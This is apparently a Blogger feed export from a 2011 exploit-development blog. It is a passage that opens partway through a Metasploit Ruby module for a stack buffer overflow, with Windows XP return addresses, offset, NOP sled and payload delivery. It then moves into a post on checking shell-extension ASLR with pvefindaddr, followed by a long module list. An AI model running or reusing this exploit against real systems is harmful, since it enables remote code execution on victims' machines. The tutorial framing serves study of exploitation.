&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &#39;Ret&#39; =&amp;gt; 0x662F3435, &#39;Offset&#39; =&amp;gt; 260 } ],&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; [&#39;Windows XP SP3 Eng&#39;,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; { &#39;Ret&#39; =&amp;gt; 0x662F3425, &#39;Offset&#39; =&amp;gt; 260 } ],&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ],&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;DefaultTarget&#39; =&amp;gt; 0,&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Privileged&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; false&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ))&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; register_options(&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Opt::RPORT(1337)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ], self.class)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; def exploit&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; connect&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; junk = make_nops(target[&#39;Offset&#39;])&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sploit = junk + [target.ret].pack(&#39;V&#39;) + make_nops(4) + payload.encoded&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sock.put(sploit)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; handler&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; disconnect&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br /&gt;
end&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Did it took 5 min, maybe not but it&#39;s neither far from it. Another nice tutorial on metasploit exploit code development using pvefindaddr that you can find is from &lt;a href=&quot;http://www.exploit-db.com/author/?a=3151&quot; title=&quot;sickness&quot;&gt;sickness&lt;/a&gt; at &lt;a href=&quot;http://www.exploit-db.com/download_pdf/16124&quot;&gt;Exploit Development Made Easy with !pvefindaddr .&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/4736667822314659740/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/02/from-vulnerability-to-exploit-under-5.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4736667822314659740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4736667822314659740'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/02/from-vulnerability-to-exploit-under-5.html' title='From vulnerability to exploit under 5 min'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWuzdue6EJxumDb4MCdmy_vhE_aIXKZAb_dyBQko8rghpQSR3qoUxuvB3OxhrX056F54XXfWvIT2mcpoWzDlGIYRy1xwigqcwaJiE9UMcSVWj2Bhry-TR8ePnCXE3wLoHmW5dTPWjoJJyw/s72-c/Immunity.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-1288015346318237411</id><published>2011-01-20T10:33:00.000+02:00</published><updated>2011-01-20T10:33:26.481+02:00</updated><title type='text'>checking aslr, safeseh and more</title><content type='html'>Couple days ago i notice a post from Didier Stevens on how to check aslr status for shell extensions ( http://blog.didierstevens.com/2011/01/18/quickpost-checking-aslr/ ). In his approach he is using an excellent tool, Process Explorer to list the modules. Another way of doing the same is using pvefindaddr and immunity debugger. Pvefindaddr is a great tool, http://redmine.corelan.be:8800/projects/pvefindaddr,&amp;nbsp; that exploit writers should be at least aware of.&lt;br /&gt;
&lt;br /&gt;
A different approach to check the modules for aslr status can be done using the following.&lt;br /&gt;
&lt;br /&gt;
Grab a copy of pvefindaddr and copy it on pycommands directory of the Immunity debugger. Load the debugger, using administrator privileges on windows 7 and from file File, Attach, choose explorer.exe. You will see something like:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcrpGdoluI7TuOyEYZptFk8X1FAm4MLv4BVelhxWerX-trX6XEA1xKfYmh0JTRt8vN9m8jc7AnJ2wREFvRnXelkRy_41z4vi0K8R1UjwUUcSs8CzkGhBk76HHHKr8Jxa3Bi5kKsIyCu3Hn/s1600/1pvefindaddr.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcrpGdoluI7TuOyEYZptFk8X1FAm4MLv4BVelhxWerX-trX6XEA1xKfYmh0JTRt8vN9m8jc7AnJ2wREFvRnXelkRy_41z4vi0K8R1UjwUUcSs8CzkGhBk76HHHKr8Jxa3Bi5kKsIyCu3Hn/s320/1pvefindaddr.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;On the debugger now again, execute the command !pvefindaddr modules wait for a couple of seconds and open the log window, the following screen will appear,&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2RBHXFyhyHVi_lU9Cxao8jvgrUV4oOUxKh376mkAcYqntge3_BIIj-OYEiNIEf5yJtjKQJtds3WF8k02EDRZxN6Kejh1TQuVLXbqeqPtSQGNugnzvdV6I66xpmyXzD-tOdAK3r9vVJpOh/s1600/2pvefindaddr.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2RBHXFyhyHVi_lU9Cxao8jvgrUV4oOUxKh376mkAcYqntge3_BIIj-OYEiNIEf5yJtjKQJtds3WF8k02EDRZxN6Kejh1TQuVLXbqeqPtSQGNugnzvdV6I66xpmyXzD-tOdAK3r9vVJpOh/s320/2pvefindaddr.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;There you will see all the modules and their status, shell extensions are also listed there, for example in my list i have the following extensions:&lt;br /&gt;
&lt;br /&gt;
Log data&lt;br /&gt;
Address&amp;nbsp;&amp;nbsp;&amp;nbsp; Message&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Immunity Debugger 1.80.0.1 : Yggdrasil&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Need support? visit http://forum.immunityinc.com/&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Error accesing memory&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; File &#39;C:\Windows\explorer.exe&#39;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [10:17:09] New process with ID 00000F4C created&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Main thread with ID 000010F4 created&lt;br /&gt;
76E2EE2A&amp;nbsp;&amp;nbsp; New thread with ID 00000AD8 created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 000008CC created&lt;br /&gt;
7528C89D&amp;nbsp;&amp;nbsp; New thread with ID 000013B4 created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 00000C5C created&lt;br /&gt;
75DC12E5&amp;nbsp;&amp;nbsp; New thread with ID 0000111C created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 0000145C created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 00001094 created&lt;br /&gt;
73A617A4&amp;nbsp;&amp;nbsp; New thread with ID 00000A04 created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 0000157C created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 000012DC created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 00001098 created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 00000DD4 created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 00000898 created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 000016DC created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 0000138C created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 00000FD8 created&lt;br /&gt;
739E2F69&amp;nbsp;&amp;nbsp; New thread with ID 00000878 created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 00001674 created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 0000124C created&lt;br /&gt;
7528C89D&amp;nbsp;&amp;nbsp; New thread with ID 00000B70 created&lt;br /&gt;
6FA452C9&amp;nbsp;&amp;nbsp; New thread with ID 0000130C created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 00000AF4 created&lt;br /&gt;
65BB268A&amp;nbsp;&amp;nbsp; New thread with ID 00001470 created&lt;br /&gt;
7528C89D&amp;nbsp;&amp;nbsp; New thread with ID 00000C44 created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 0000079C created&lt;br /&gt;
75F145E9&amp;nbsp;&amp;nbsp; New thread with ID 0000090C created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 00001110 created&lt;br /&gt;
76E2D662&amp;nbsp;&amp;nbsp; New thread with ID 00001728 created&lt;br /&gt;
76E9D315&amp;nbsp;&amp;nbsp; New thread with ID 00000708 created&lt;br /&gt;
00B80000&amp;nbsp;&amp;nbsp; Modules C:\Windows\explorer.exe&lt;br style=&quot;background-color: yellow;&quot; /&gt;&lt;span style=&quot;background-color: yellow;&quot;&gt;020A0000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\TortoiseSVN\bin\TortoiseSVN.dll&lt;/span&gt;&lt;br style=&quot;background-color: yellow;&quot; /&gt;&lt;span style=&quot;background-color: yellow;&quot;&gt;042D0000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\Notepad++\NppShell_01.dll&lt;/span&gt;&lt;br style=&quot;background-color: yellow;&quot; /&gt;&lt;span style=&quot;background-color: yellow;&quot;&gt;04320000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\7-Zip\7-zip.dll&lt;/span&gt;&lt;br /&gt;
043F0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\thumbcache.dll&lt;br /&gt;
&lt;span style=&quot;background-color: yellow;&quot;&gt;05940000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\TortoiseSVN\bin\TortoiseStub.dll&lt;/span&gt;&lt;br style=&quot;background-color: yellow;&quot; /&gt;&lt;span style=&quot;background-color: yellow;&quot;&gt;05960000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\Common Files\TortoiseOverlays\TortoiseOverlays.dll&lt;/span&gt;&lt;br style=&quot;background-color: yellow;&quot; /&gt;&lt;span style=&quot;background-color: yellow;&quot;&gt;10000000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\TortoiseSVN\bin\intl3_tsvn.dll&lt;/span&gt;&lt;br /&gt;
62890000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\SyncCenter.dll&lt;br /&gt;
65870000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\werconcpl.dll&lt;br /&gt;
65980000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\FXSRESM.DLL&lt;br /&gt;
65BB0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\fxsst.dll&lt;br /&gt;
65D40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\pnidui.dll&lt;br /&gt;
66EA0000&amp;nbsp;&amp;nbsp; Modules c:\PROGRA~1\MIF707~1\shellext.dll&lt;br /&gt;
68BD0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\ieframe.dll&lt;br /&gt;
69A80000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\bthprops.cpl&lt;br /&gt;
6AC60000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\Actioncenter.dll&lt;br /&gt;
6AD20000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\wscui.cpl&lt;br /&gt;
6AE40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\ntshrui.dll&lt;br /&gt;
6AF20000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\msi.dll&lt;br /&gt;
6B4B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\imapi2.dll&lt;br /&gt;
6B550000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\NetworkExplorer.dll&lt;br /&gt;
6BAD0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\PortableDeviceApi.dll&lt;br /&gt;
6BF10000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\WSCAPI.dll&lt;br /&gt;
6BF40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\FXSAPI.dll&lt;br /&gt;
6BF80000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\provsvc.dll&lt;br /&gt;
6C050000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\wer.dll&lt;br /&gt;
6C0B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\gameux.dll&lt;br /&gt;
6C350000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\shdocvw.dll&lt;br /&gt;
6C380000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\actxprxy.dll&lt;br /&gt;
6C3E0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\cscui.dll&lt;br /&gt;
6C450000&amp;nbsp;&amp;nbsp; Modules C:\PROGRA~1\MICROS~3\Office14\1033\GrooveIntlResource.dll&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Invalid or compressed Image Export Directory&lt;br /&gt;
6CCC0000&amp;nbsp;&amp;nbsp; Modules C:\PROGRA~1\MICROS~3\Office14\GROOVEEX.DLL&lt;br /&gt;
6D0D0000&amp;nbsp;&amp;nbsp; Modules C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE14\Cultures\office.odf&lt;br /&gt;
6D600000&amp;nbsp;&amp;nbsp; Modules C:\Windows\WinSxS\x86_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.4974_none_51cdc180bbe4500f\ATL90.DLL&lt;br /&gt;
6D630000&amp;nbsp;&amp;nbsp; Modules C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCR90.dll&lt;br /&gt;
6D7B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\UIAnimation.dll&lt;br /&gt;
6D7E0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\hgcpl.dll&lt;br /&gt;
6D870000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\Internet Explorer\ieproxy.dll&lt;br /&gt;
6DB50000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\dxp.dll&lt;br /&gt;
6E240000&amp;nbsp;&amp;nbsp; Modules C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCP90.dll&lt;br /&gt;
6E2F0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\netprofm.dll&lt;br /&gt;
6E4B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SHFOLDER.dll&lt;br /&gt;
6E540000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\WINSPOOL.DRV&lt;br /&gt;
6E6E0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\EXPLORERFRAME.dll&lt;br /&gt;
6E970000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\PortableDeviceTypes.dll&lt;br /&gt;
6EAE0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\msutb.dll&lt;br /&gt;
6ECB0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\MPR.dll&lt;br /&gt;
6ECD0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\LINKINFO.dll&lt;br /&gt;
6EE60000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\TortoiseSVN\bin\libaprutil_tsvn.dll&lt;br /&gt;
6EEC0000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\TortoiseSVN\bin\libapr_tsvn.dll&lt;br /&gt;
6F050000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\EhStorShell.dll&lt;br /&gt;
6F670000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\cscapi.dll&lt;br /&gt;
6FA40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\Wlanapi.dll&lt;br /&gt;
70FA0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\wlanutil.dll&lt;br /&gt;
71020000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\dhcpcsvc.DLL&lt;br /&gt;
713F0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\WINNSI.DLL&lt;br /&gt;
71400000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\IPHLPAPI.DLL&lt;br /&gt;
71970000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\MsftEdit.dll&lt;br /&gt;
71A30000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\mssprxy.dll&lt;br /&gt;
71AA0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\wwanapi.dll&lt;br /&gt;
71CD0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\prnfldr.dll&lt;br /&gt;
71D40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\BatMeter.dll&lt;br /&gt;
71E00000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\npmproxy.dll&lt;br /&gt;
71E20000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\QAgent.dll&lt;br /&gt;
71EA0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SYNCENG.dll&lt;br /&gt;
71EC0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\syncui.dll&lt;br /&gt;
71F40000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\srchadmin.dll&lt;br /&gt;
&lt;span style=&quot;background-color: yellow;&quot;&gt;71F90000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\WinRAR\rarext.dll&lt;/span&gt;&lt;br /&gt;
71FC0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\twext.dll&lt;br /&gt;
71FF0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\wercplsupport.dll&lt;br /&gt;
72010000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\framedynos.dll&lt;br /&gt;
721B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\cscobj.dll&lt;br /&gt;
72380000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\QUtil.dll&lt;br /&gt;
723A0000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll&lt;br /&gt;
72400000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\timedate.cpl&lt;br /&gt;
72480000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\EhStorAPI.dll&lt;br /&gt;
724B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\stobject.dll&lt;br /&gt;
72510000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\netshell.dll&lt;br /&gt;
72D90000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\dhcpcsvc6.DLL&lt;br /&gt;
72DD0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\msxml6.dll&lt;br /&gt;
72F50000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\es.dll&lt;br /&gt;
72FA0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\slc.dll&lt;br /&gt;
72FC0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\ATL.DLL&lt;br /&gt;
730F0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\taskschd.dll&lt;br /&gt;
731B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\POWRPROF.dll&lt;br /&gt;
73270000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\nlaapi.dll&lt;br /&gt;
734B0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\ntmarta.dll&lt;br /&gt;
734F0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\wwapi.dll&lt;br /&gt;
73500000&amp;nbsp;&amp;nbsp; Modules C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL&lt;br /&gt;
73510000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\wscinterop.dll&lt;br /&gt;
73530000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\SndVolSSO.DLL&lt;br /&gt;
73570000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\OLEACC.dll&lt;br /&gt;
73640000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\CSCDLL.dll&lt;br /&gt;
73650000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\wpdshserviceobj.dll&lt;br /&gt;
73690000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\AUDIOSES.DLL&lt;br /&gt;
736D0000&amp;nbsp;&amp;nbsp; Modules C:\Windows\system32\msls31.dll&lt;br /&gt;
73700000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\AltTab.dll&lt;br /&gt;
73710000&amp;nbsp;&amp;nbsp; Modules C:\Windows\ehome\ehSSO.dll&lt;br /&gt;
73720000&amp;nbsp;&amp;nbsp; Modules C:\Windows\System32\shacct.dll&lt;br /&gt;
